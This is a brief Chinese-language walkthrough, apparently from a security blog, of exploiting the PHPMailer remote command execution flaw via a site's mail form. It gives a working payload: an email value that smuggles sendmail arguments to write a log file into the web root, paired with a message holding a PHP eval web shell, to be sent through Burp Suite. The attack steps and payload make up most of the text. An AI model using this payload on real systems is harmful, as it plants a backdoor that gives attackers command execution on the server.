0x2C.PHPMailer遠程命令執行漏洞溯源

在頁面的最下方能夠發現一個mail連接，點擊能夠進入發送郵件的界面，或者使用burpsuite的spider模塊同樣能夠找到mail界面； 填寫數據後點擊發送郵件並進行抓包； 修改email和message的內容； "aaa". -OQueueDirectory=/tmp/. -X/var/www/html/b.php @aaa.com <?php @eval($_POST[cmd]);?> 發包

>>阅读原文<<